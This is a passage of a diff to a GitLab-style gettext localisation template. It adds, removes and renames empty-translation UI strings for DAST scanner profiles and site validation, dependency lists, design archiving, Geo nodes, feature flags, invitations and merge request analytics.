msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
+msgid "DastProfiles|Download validation text file"
+msgstr ""
+
msgid "DastProfiles|Edit feature will come soon. Please create a new profile if changes needed"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
-msgid "DastProfiles|Error fetching the profiles list. Please check your network connection and try again."
+msgid "DastProfiles|Error Details"
msgstr ""
msgid "DastProfiles|Manage Profiles"
@@ -7766,7 +7989,16 @@ msgstr ""
msgid "DastProfiles|Manage profiles"
msgstr ""
-msgid "DastProfiles|New Site Profile"
+msgid "DastProfiles|Minimum = 0 (no timeout enabled), Maximum = 2880 minutes"
+msgstr ""
+
+msgid "DastProfiles|Minimum = 1 second, Maximum = 3600 seconds"
+msgstr ""
+
+msgid "DastProfiles|New Profile"
+msgstr ""
+
+msgid "DastProfiles|New scanner profile"
msgstr ""
msgid "DastProfiles|New site profile"
@@ -7778,6 +8010,9 @@ msgstr ""
msgid "DastProfiles|Please enter a valid URL format, ex: http://www.example.com/home"
msgstr ""
+msgid "DastProfiles|Please enter a valid timeout value"
+msgstr ""
+
msgid "DastProfiles|Profile name"
msgstr ""
@@ -7787,12 +8022,69 @@ msgstr ""
msgid "DastProfiles|Save profile"
msgstr ""
+msgid "DastProfiles|Scanner Profile"
+msgstr ""
+
+msgid "DastProfiles|Scanner Profiles"
+msgstr ""
+
+msgid "DastProfiles|Site Profile"
+msgstr ""
+
msgid "DastProfiles|Site Profiles"
msgstr ""
+msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgstr ""
+
+msgid "DastProfiles|Site must be validated to run an active scan."
+msgstr ""
+
+msgid "DastProfiles|Spider timeout"
+msgstr ""
+
+msgid "DastProfiles|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgstr ""
+
+msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgstr ""
+
msgid "DastProfiles|Target URL"
msgstr ""
+msgid "DastProfiles|Target timeout"
+msgstr ""
+
+msgid "DastProfiles|Text file validation"
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the spider to traverse the site."
+msgstr ""
+
+msgid "DastProfiles|Validate"
+msgstr ""
+
+msgid "DastProfiles|Validate target site"
+msgstr ""
+
+msgid "DastProfiles|Validating..."
+msgstr ""
+
+msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgstr ""
+
+msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgstr ""
+
+msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgstr ""
+
msgid "Data is still calculating..."
msgstr ""
@@ -7865,7 +8157,7 @@ msgstr ""
msgid "Default classification label"
msgstr ""
-msgid "Default deletion adjourned period"
+msgid "Default deletion delay"
msgstr ""
msgid "Default description template for issues"
@@ -7943,10 +8235,10 @@ msgstr ""
msgid "Delete Comment"
msgstr ""
-msgid "Delete Package"
+msgid "Delete Snippet"
msgstr ""
-msgid "Delete Snippet"
+msgid "Delete account"
msgstr ""
msgid "Delete artifacts"
@@ -8003,6 +8295,9 @@ msgstr ""
msgid "Delete variable"
msgstr ""
+msgid "DeleteProject|Delete %{name}"
+msgstr ""
+
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -8024,15 +8319,24 @@ msgstr ""
msgid "Deleted"
msgstr ""
+msgid "Deleted Projects"
+msgstr ""
+
msgid "Deleted chat nickname: %{chat_name}!"
msgstr ""
-msgid "Deleted in this version"
+msgid "Deleted projects"
+msgstr ""
+
+msgid "Deleted projects cannot be restored!"
msgstr ""
msgid "Deleting"
msgstr ""
+msgid "Deleting a project places it into a read-only state until %{date}, at which point the project will be permanently deleted. Are you ABSOLUTELY sure?"
+msgstr ""
+
msgid "Deleting the license failed."
msgstr ""
@@ -8042,6 +8346,9 @@ msgstr ""
msgid "Deleting the license failed. You are not permitted to perform this action."
msgstr ""
+msgid "Deleting the project will delete its repository and all related resources including issues, merge requests etc."
+msgstr ""
+
msgid "Deletion pending. This project will be removed on %{date}. Repository and other project resources are read-only."
msgstr ""
@@ -8070,6 +8377,13 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "Dependencies|%d more"
+msgid_plural "Dependencies|%d more"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "Dependencies|%d vulnerability detected"
msgid_plural "Dependencies|%d vulnerabilities detected"
msgstr[0] ""
@@ -8080,6 +8394,9 @@ msgstr[3] ""
msgid "Dependencies|%{remainingLicensesCount} more"
msgstr ""
+msgid "Dependencies|(top level)"
+msgstr ""
+
msgid "Dependencies|All"
msgstr ""
@@ -8092,6 +8409,9 @@ msgstr ""
msgid "Dependencies|Component name"
msgstr ""
+msgid "Dependencies|Dependency path"
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -8110,6 +8430,9 @@ msgstr ""
msgid "Dependencies|The %{codeStartTag}dependency_scanning%{codeEndTag} job has failed and cannot generate the list. Please ensure the job is running properly and run the pipeline again."
msgstr ""
+msgid "Dependencies|There may be multiple paths"
+msgstr ""
+
msgid "Dependencies|Toggle vulnerability list"
msgstr ""
@@ -8150,8 +8473,8 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
-msgid "Depends on <strong>%d closed</strong> merge request."
-msgid_plural "Depends on <strong>%d closed</strong> merge requests."
+msgid "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge request."
+msgid_plural "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge requests."
msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
@@ -8200,7 +8523,7 @@ msgstr ""
msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
-msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The <code>gitlab-ci.yml</code> file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
+msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The %{filename} file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
msgstr ""
msgid "DeployFreeze|Time zone"
@@ -8434,13 +8757,22 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr ""
-msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
+msgid "DesignManagement|Archive designs"
msgstr ""
-msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
+msgid "DesignManagement|Archive selected"
+msgstr ""
+
+msgid "DesignManagement|Archived designs will still be available in previous versions of the design collection."
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to archive the selected designs?"
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
msgstr ""
-msgid "DesignManagement|Are you sure you want to delete the selected designs?"
+msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
msgstr ""
msgid "DesignManagement|Cancel changes"
@@ -8473,15 +8805,6 @@ msgstr ""
msgid "DesignManagement|Could not update note. Please try again."
msgstr ""
-msgid "DesignManagement|Delete"
-msgstr ""
-
-msgid "DesignManagement|Delete designs confirmation"
-msgstr ""
-
-msgid "DesignManagement|Delete selected"
-msgstr ""
-
msgid "DesignManagement|Deselect all"
msgstr ""
@@ -8563,7 +8886,10 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps Score"
+msgid "DevOps"
+msgstr ""
+
+msgid "DevOps Report"
msgstr ""
msgid "Diff content limits"
@@ -8572,6 +8898,9 @@ msgstr ""
msgid "Diff limits"
msgstr ""
+msgid "Diff view settings"
+msgstr ""
+
msgid "Difference between start date and now"
msgstr ""
@@ -8584,7 +8913,10 @@ msgstr ""
msgid "Diffs|No file name available"
msgstr ""
-msgid "Diffs|Show unchanged lines"
+msgid "Diffs|Show %{unfoldCount} lines"
+msgstr ""
+
+msgid "Diffs|Show all unchanged lines"
msgstr ""
msgid "Diffs|Something went wrong while fetching diff lines."
@@ -8689,9 +9021,6 @@ msgstr ""
msgid "Discuss a specific suggestion or question."
msgstr ""
-msgid "Discussion"
-msgstr ""
-
msgid "Discussion to reply to cannot be found"
msgstr ""
@@ -8708,7 +9037,7 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
-msgid "Dismiss DevOps Score introduction"
+msgid "Dismiss DevOps Report introduction"
msgstr ""
msgid "Dismiss Merge Request promotion"
@@ -8960,9 +9289,6 @@ msgstr ""
msgid "Edit comment"
msgstr ""
-msgid "Edit dashboard"
-msgstr ""
-
msgid "Edit description"
msgstr ""
@@ -9251,9 +9577,6 @@ msgstr ""
msgid "Enable usage ping"
msgstr ""
-msgid "Enable usage ping to get an overview of how you are using GitLab from a feature perspective."
-msgstr ""
-
msgid "Enable/disable your service desk. %{link_start}Learn more about service desk%{link_end}."
msgstr ""
@@ -9422,6 +9745,9 @@ msgstr ""
msgid "Environments in %{name}"
msgstr ""
+msgid "EnvironmentsAlert|%{severity} • %{title} %{text}. %{linkStart}View Details%{linkEnd} · %{startedAt} "
+msgstr ""
+
msgid "EnvironmentsDashboard|Add a project to the dashboard"
msgstr ""
@@ -9446,7 +9772,7 @@ msgstr ""
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr ""
-msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -9725,6 +10051,9 @@ msgstr ""
msgid "Epics|To schedule your epic's %{epicDateType} date based on milestones, assign a milestone with a %{epicDateType} date to any issue in the epic."
msgstr ""
+msgid "Epics|Unable to perform this action"
+msgstr ""
+
msgid "Epics|Unable to save epic. Please try again"
msgstr ""
@@ -10052,7 +10381,7 @@ msgstr ""
msgid "Exactly one of %{attributes} is required"
msgstr ""
-msgid "Example: <code>192.168.0.0/24</code>. %{read_more_link}."
+msgid "Example: %{ip_address}. %{read_more_link}."
msgstr ""
msgid "Example: @sub\\.company\\.com$"
@@ -10073,6 +10402,9 @@ msgstr ""
msgid "Excluding merge commits. Limited to 6,000 commits."
msgstr ""
+msgid "Existing branch name, tag, or commit SHA"
+msgstr ""
+
msgid "Existing members and groups"
msgstr ""
@@ -10082,9 +10414,6 @@ msgstr ""
msgid "Existing projects will be able to use expiration policies. Avoid enabling this if an external Container Registry is being used, as there is a performance risk if many images exist on one project."
msgstr ""
-msgid "Existing shares"
-msgstr ""
-
msgid "Existing sign in methods may be removed"
msgstr ""
@@ -10097,9 +10426,6 @@ msgstr ""
msgid "Expand approvers"
msgstr ""
-msgid "Expand down"
-msgstr ""
-
msgid "Expand dropdown"
msgstr ""
@@ -10109,9 +10435,6 @@ msgstr ""
msgid "Expand sidebar"
msgstr ""
-msgid "Expand up"
-msgstr ""
-
msgid "Expected documents: %{expected_documents}"
msgstr ""
@@ -10124,9 +10447,6 @@ msgstr ""
msgid "Expiration date"
msgstr ""
-msgid "Expiration not enforced"
-msgstr ""
-
msgid "Expired"
msgstr ""
@@ -10560,12 +10880,18 @@ msgstr ""
msgid "FeatureFlags|Flag becomes read only soon"
msgstr ""
+msgid "FeatureFlags|Flag is read-only"
+msgstr ""
+
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags, and in 13.4, this feature flag will become read-only. Please create a new feature flag."
msgstr ""
+msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
+msgstr ""
+
msgid "FeatureFlags|ID"
msgstr ""
@@ -10650,6 +10976,9 @@ msgstr ""
msgid "FeatureFlags|There was an error retrieving user lists"
msgstr ""
+msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
+msgstr ""
+
msgid "FeatureFlags|Try again in a few moments or contact your support team."
msgstr ""
@@ -10659,9 +10988,6 @@ msgstr ""
msgid "FeatureFlags|User List"
msgstr ""
-msgid "FeatureFlag|Delete strategy"
-msgstr ""
-
msgid "FeatureFlag|List"
msgstr ""
@@ -10701,6 +11027,9 @@ msgstr ""
msgid "File"
msgstr ""
+msgid "File %{current} of %{total}"
+msgstr ""
+
msgid "File Hooks"
msgstr ""
@@ -10926,6 +11255,9 @@ msgstr ""
msgid "Footer message"
msgstr ""
+msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgstr ""
+
msgid "For internal projects, any logged in user can view pipelines and access job details (output logs and artifacts)"
msgstr ""
@@ -11097,30 +11429,15 @@ msgstr ""
msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
msgstr ""
-msgid "GeoNodes|Attachments"
-msgstr ""
-
-msgid "GeoNodes|Checksummed"
-msgstr ""
-
msgid "GeoNodes|Consult Geo troubleshooting information"
msgstr ""
-msgid "GeoNodes|Container repositories"
-msgstr ""
-
msgid "GeoNodes|Data replication lag"
msgstr ""
-msgid "GeoNodes|Design repositories"
-msgstr ""
-
msgid "GeoNodes|Does not match the primary storage configuration"
msgstr ""
-msgid "GeoNodes|Failed"
-msgstr ""
-
msgid "GeoNodes|Full"
msgstr ""
@@ -11136,12 +11453,6 @@ msgstr ""
msgid "GeoNodes|Internal URL"
msgstr ""
-msgid "GeoNodes|Job artifacts"
-msgstr ""
-
-msgid "GeoNodes|LFS objects"
-msgstr ""
-
msgid "GeoNodes|Last event ID processed by cursor"
msgstr ""
@@ -11169,12 +11480,6 @@ msgstr ""
msgid "GeoNodes|Node's status was updated %{timeAgo}."
msgstr ""
-msgid "GeoNodes|Not checksummed"
-msgstr ""
-
-msgid "GeoNodes|Package files"
-msgstr ""
-
msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
msgstr ""
@@ -11196,15 +11501,6 @@ msgstr ""
msgid "GeoNodes|Replication status"
msgstr ""
-msgid "GeoNodes|Repositories"
-msgstr ""
-
-msgid "GeoNodes|Repository checksum progress"
-msgstr ""
-
-msgid "GeoNodes|Repository verification progress"
-msgstr ""
-
msgid "GeoNodes|Selective (%{syncLabel})"
msgstr ""
@@ -11232,27 +11528,12 @@ msgstr ""
msgid "GeoNodes|Unused slots"
msgstr ""
-msgid "GeoNodes|Unverified"
-msgstr ""
-
msgid "GeoNodes|Updated %{timeAgo}"
msgstr ""
msgid "GeoNodes|Used slots"
msgstr ""
-msgid "GeoNodes|Verified"
-msgstr ""
-
-msgid "GeoNodes|Wiki checksum progress"
-msgstr ""
-
-msgid "GeoNodes|Wiki verification progress"
-msgstr ""
-
-msgid "GeoNodes|Wikis"
-msgstr ""
-
msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
msgstr ""
@@ -11265,6 +11546,12 @@ msgstr ""
msgid "GeoNodes|secondary nodes"
msgstr ""
+msgid "Geo|%{itemTitle} checksum progress"
+msgstr ""
+
+msgid "Geo|%{itemTitle} verification progress"
+msgstr ""
+
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -11328,6 +11615,12 @@ msgstr ""
msgid "Geo|Geo Status"
msgstr ""
+msgid "Geo|Go to the primary site"
+msgstr ""
+
+msgid "Geo|If you want to make changes, you must visit the primary site."
+msgstr ""
+
msgid "Geo|In progress"
msgstr ""
@@ -11460,10 +11753,10 @@ msgstr ""
msgid "Geo|Waiting for scheduler"
msgstr ""
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. If you want to make changes, you must visit this page on the %{node_link_open}primary node%{node_link_close}."
+msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node."
msgstr ""
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
+msgid "Geo|You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
msgstr ""
msgid "Geo|misconfigured"
@@ -11640,7 +11933,7 @@ msgstr ""
msgid "GitLabPages|Force HTTPS (requires valid certificates)"
msgstr ""
-msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings > General > Visibility%{strong_end} page."
+msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
@@ -11757,7 +12050,10 @@ msgstr ""
msgid "Go to %{link_to_google_takeout}."
msgstr ""
-msgid "Go to <strong>Issues</strong> > <strong>Boards</strong> to access your personalized learning issue board."
+msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
+msgstr ""
+
+msgid "Go to Integrations"
msgstr ""
msgid "Go to Webhooks"
@@ -12039,6 +12335,9 @@ msgstr ""
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
+msgid "Group push rule exists, try updating"
+msgstr ""
+
msgid "Group requires separate account"
msgstr ""
@@ -12315,7 +12614,7 @@ msgstr ""
msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day waiting period. This period can be %{customization_link} in instance settings"
+msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{customization_link} in instance settings"
msgstr ""
msgid "GroupSettings|Select a sub-group as the custom project template source for this group."
@@ -12528,6 +12827,9 @@ msgstr ""
msgid "Health status"
msgstr ""
+msgid "Health status cannot be edited because this issue is closed"
+msgstr ""
+
msgid "HealthCheck|Access token is"
msgstr ""
@@ -12543,6 +12845,9 @@ msgstr ""
msgid "Hello there"
msgstr ""
+msgid "Hello, %{username}!"
+msgstr ""
+
msgid "Help"
msgstr ""
@@ -12677,6 +12982,9 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr ""
+msgid "How to upgrade"
+msgstr ""
+
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr ""
@@ -12833,6 +13141,12 @@ msgstr ""
msgid "If you remove this license, GitLab will fall back on the previous license, if any."
msgstr ""
+msgid "If you want to re-enable two-factor authentication, visit %{two_factor_link}"
+msgstr ""
+
+msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -12986,6 +13300,9 @@ msgstr ""
msgid "ImportProjects|Importing the project failed: %{reason}"
msgstr ""
+msgid "ImportProjects|Requesting namespaces failed"
+msgstr ""
+
msgid "ImportProjects|Requesting your %{provider} repositories failed"
msgstr ""
@@ -13001,6 +13318,9 @@ msgstr ""
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Improve Issue Boards"
+msgstr ""
+
msgid "Improve Issue boards"
msgstr ""
@@ -13013,13 +13333,13 @@ msgstr ""
msgid "Improve customer support with GitLab Service Desk."
msgstr ""
-msgid "Improve search with Advanced Global Search and GitLab Enterprise Edition."
+msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
msgid "In %{time_to_now}"
msgstr ""
-msgid "In order to enable instance-level analytics, please ask an admin to enable %{usage_ping_link_start}usage ping%{usage_ping_link_end}."
+msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
msgstr ""
msgid "In order to gather accurate feature usage data, it can take 1 to 2 weeks to see your index."
@@ -13028,21 +13348,24 @@ msgstr ""
msgid "In order to personalize your experience with GitLab%{br_tag}we would like to know a bit more about you."
msgstr ""
-msgid "In order to tailor your experience with GitLab we%{br_tag}would like to know a bit more about you."
-msgstr ""
-
msgid "In progress"
msgstr ""
msgid "In the next step, you'll be able to select the projects you want to import."
msgstr ""
+msgid "Incident"
+msgstr ""
+
msgid "Incident Management Limits"
msgstr ""
msgid "IncidentManagement|All"
msgstr ""
+msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgstr ""
+
msgid "IncidentManagement|Assignees"
msgstr ""
@@ -13055,6 +13378,9 @@ msgstr ""
msgid "IncidentManagement|Date created"
msgstr ""
+msgid "IncidentManagement|Display your incidents in a dedicated view"
+msgstr ""
+
msgid "IncidentManagement|Incident"
msgstr ""
@@ -13073,6 +13399,9 @@ msgstr ""
msgid "IncidentManagement|Published to status page"
msgstr ""
+msgid "IncidentManagement|There are no closed incidents"
+msgstr ""
+
msgid "IncidentManagement|There was an error displaying the incidents."
msgstr ""
@@ -13148,6 +13477,9 @@ msgstr ""
msgid "Index all projects"
msgstr ""
+msgid "Index deletion is canceled"
+msgstr ""
+
msgid "Indicates whether this runner can pick jobs without tags"
msgstr ""
@@ -13214,6 +13546,9 @@ msgstr ""
msgid "Install on clusters"
msgstr ""
+msgid "Installation"
+msgstr ""
+
msgid "Installed"
msgstr ""
@@ -13230,7 +13565,7 @@ msgstr[3] ""
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics visibility"
+msgid "Instance Statistics"
msgstr ""
msgid "Instance administrators group already exists"
@@ -13257,6 +13592,12 @@ msgstr ""
msgid "Integrations|Comment settings:"
msgstr ""
+msgid "Integrations|Default settings are inherited from the group level."
+msgstr ""
+
+msgid "Integrations|Default settings are inherited from the instance level."
+msgstr ""
+
msgid "Integrations|Enable comments"
msgstr ""
@@ -13269,13 +13610,10 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
-msgid "Integrations|This integration has multiple settings available."
-msgstr ""
-
msgid "Integrations|Use custom settings"
msgstr ""
-msgid "Integrations|Use instance level settings"
+msgid "Integrations|Use default settings"
msgstr ""
msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) will be created."
@@ -13305,7 +13643,7 @@ msgstr ""
msgid "Introducing Value Stream Analytics"
msgstr ""
-msgid "Introducing Your DevOps Score"
+msgid "Introducing Your DevOps Report"
msgstr ""
msgid "Invalid Git ref"
@@ -13317,9 +13655,15 @@ msgstr ""
msgid "Invalid Login or password"
msgstr ""
+msgid "Invalid OS"
+msgstr ""
+
msgid "Invalid URL"
msgstr ""
+msgid "Invalid board"
+msgstr ""
+
msgid "Invalid container_name"
msgstr ""
@@ -13416,6 +13760,39 @@ msgstr ""
msgid "Invite teammates (optional)"
msgstr ""
+msgid "InviteEmail|%{inviter} invited you"
+msgstr ""
+
+msgid "InviteEmail|%{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|Join now"
+msgstr ""
+
+msgid "InviteEmail|You are invited!"
+msgstr ""
+
+msgid "InviteEmail|You have been invited"
+msgstr ""
+
+msgid "InviteEmail|to join the %{project_or_group_name} %{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|to join the %{strong_start}%{project_or_group_name}%{strong_end}"
+msgstr ""
+
+msgid "InviteMembersBanner|Collaborate with your team"
+msgstr ""
+
+msgid "InviteMembersBanner|Invite your colleagues"
+msgstr ""
+
+msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
+msgstr ""
+
+msgid "Invited"
+msgstr ""
+
msgid "Invited users will be added with developer level permissions. You can always change this later."
msgstr ""
@@ -13455,6 +13832,9 @@ msgstr ""
msgid "Issue %{issue_reference} has already been added to epic %{epic_reference}."
msgstr ""
+msgid "Issue Analytics"
+msgstr ""
+
msgid "Issue Boards"
msgstr ""
@@ -13554,9 +13934,6 @@ msgstr ""
msgid "Issues"
msgstr ""
-msgid "Issues Analytics"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
@@ -13698,6 +14075,9 @@ msgstr ""
msgid "JiraService| on branch %{branch_link}"
msgstr ""
+msgid "JiraService|%{jira_docs_link_start}Enable the Jira integration%{jira_docs_link_end} to view your Jira issues in GitLab."
+msgstr ""
+
msgid "JiraService|%{user_link} mentioned this issue in %{entity_link} of %{project_link}%{branch}:{quote}%{entity_message}{quote}"
msgstr ""
@@ -13740,6 +14120,9 @@ msgstr ""
msgid "JiraService|Password or API token"
msgstr ""
+msgid "JiraService|This feature requires a Premium plan."
+msgstr ""
+
msgid "JiraService|Transition ID(s)"
msgstr ""
@@ -13755,6 +14138,9 @@ msgstr ""
msgid "JiraService|Username or Email"
msgstr ""
+msgid "JiraService|Using Jira for issue tracking?"
+msgstr ""
+
msgid "JiraService|View Jira issues in GitLab"
msgstr ""
@@ -14043,7 +14429,7 @@ msgstr ""
msgid "Labels can be applied to issues and merge requests."
msgstr ""
-msgid "Labels|<span>Promote label</span> %{labelTitle} <span>to Group Label?</span>"
+msgid "Labels|%{spanStart}Promote label%{spanEnd} %{labelTitle} %{spanStart}to Group Label?%{spanEnd}"
msgstr ""
msgid "Labels|Promote Label"
@@ -14275,7 +14661,7 @@ msgstr ""
msgid "License ID:"
msgstr ""
-msgid "License URL"
+msgid "License overview"
msgstr ""
msgid "License-Check"
@@ -14386,10 +14772,10 @@ msgstr ""
msgid "LicenseCompliance|Remove license?"
msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses in this project."
+msgid "LicenseCompliance|There are currently no policies in this project."
msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses that match in this project."
+msgid "LicenseCompliance|There are currently no policies that match in this project."
msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
@@ -14416,6 +14802,9 @@ msgstr ""
msgid "Licensed to"
msgstr ""
+msgid "Licensed to:"
+msgstr ""
+
msgid "Licenses"
msgstr ""
@@ -14479,9 +14868,6 @@ msgstr ""
msgid "License|License"
msgstr ""
-msgid "License|Licensed user count exceeded"
-msgstr ""
-
msgid "License|You can restore access to the Gold features at any time by upgrading."
msgstr ""
@@ -14497,9 +14883,6 @@ msgstr ""
msgid "License|Your free trial of GitLab Ultimate expired on %{trial_ends_on}."
msgstr ""
-msgid "License|Your instance has exceeded your subscription's number of licensed users by %{extra_users_count}. You can continue to add more users and we'll include the overage in your next bill."
-msgstr ""
-
msgid "Limit display of time tracking units to hours."
msgstr ""
@@ -14555,6 +14938,9 @@ msgstr ""
msgid "List available repositories"
msgstr ""
+msgid "List of all merge commits"
+msgstr ""
+
msgid "List settings"
msgstr ""
@@ -14576,6 +14962,9 @@ msgstr ""
msgid "Load more"
msgstr ""
+msgid "Load more users"
+msgstr ""
+
msgid "Loading"
msgstr ""
@@ -14627,7 +15016,7 @@ msgstr ""
msgid "Lock the discussion"
msgstr ""
-msgid "Lock this %{issuableDisplayName}? Only <strong>project members</strong> will be able to comment."
+msgid "Lock this %{issuableDisplayName}? Only %{strongStart}project members%{strongEnd} will be able to comment."
msgstr ""
msgid "Lock to current projects"
@@ -14678,6 +15067,12 @@ msgstr ""
msgid "MERGED"
msgstr ""
+msgid "MR widget|Back to the Merge request"
+msgstr ""
+
+msgid "MR widget|See your pipeline in action"
+msgstr ""
+
msgid "MR widget|Take a look at our %{beginnerLinkStart}Beginner's Guide to Continuous Integration%{beginnerLinkEnd} and our %{exampleLinkStart}examples of GitLab CI/CD%{exampleLinkEnd} to learn more."
msgstr ""
@@ -14693,6 +15088,9 @@ msgstr ""
msgid "MRApprovals|Approvers"
msgstr ""
+msgid "MRApprovals|Commented by"
+msgstr ""
+
msgid "MRDiff|Show changes only"
msgstr ""
@@ -14777,9 +15175,6 @@ msgstr ""
msgid "Manifest import"
msgstr ""
-msgid "Manual job"
-msgstr ""
-
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -14891,9 +15286,6 @@ msgstr ""
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
-msgid "Maven Metadata"
-msgstr ""
-
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -15029,6 +15421,15 @@ msgstr ""
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
+msgid "Members invited to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
+msgid "Members of %{group} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "Members of %{group} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "Members of %{strong_open}%{project_name}%{strong_close}"
msgstr ""
@@ -15038,9 +15439,6 @@ msgstr ""
msgid "Members with access to %{strong_start}%{group_name}%{strong_end}"
msgstr ""
-msgid "Members with pending access to %{strong_start}%{group_name}%{strong_end}"
-msgstr ""
-
msgid "Memory Usage"
msgstr ""
@@ -15068,15 +15466,15 @@ msgstr ""
msgid "Merge Requests"
msgstr ""
-msgid "Merge Requests closed"
-msgstr ""
-
msgid "Merge Requests created"
msgstr ""
msgid "Merge Requests in Review"
msgstr ""
+msgid "Merge Requests merged"
+msgstr ""
+
msgid "Merge automatically (%{strategy})"
msgstr ""
@@ -15092,6 +15490,9 @@ msgstr ""
msgid "Merge in progress"
msgstr ""
+msgid "Merge locally"
+msgstr ""
+
msgid "Merge options"
msgstr ""
@@ -15155,6 +15556,27 @@ msgstr ""
msgid "MergeConflict|origin//their changes"
msgstr ""
+msgid "MergeRequestAnalytics|Assignees"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Date Merged"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Line changes"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Merge Request"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Milestone"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Pipelines"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Time to merge"
+msgstr ""
+
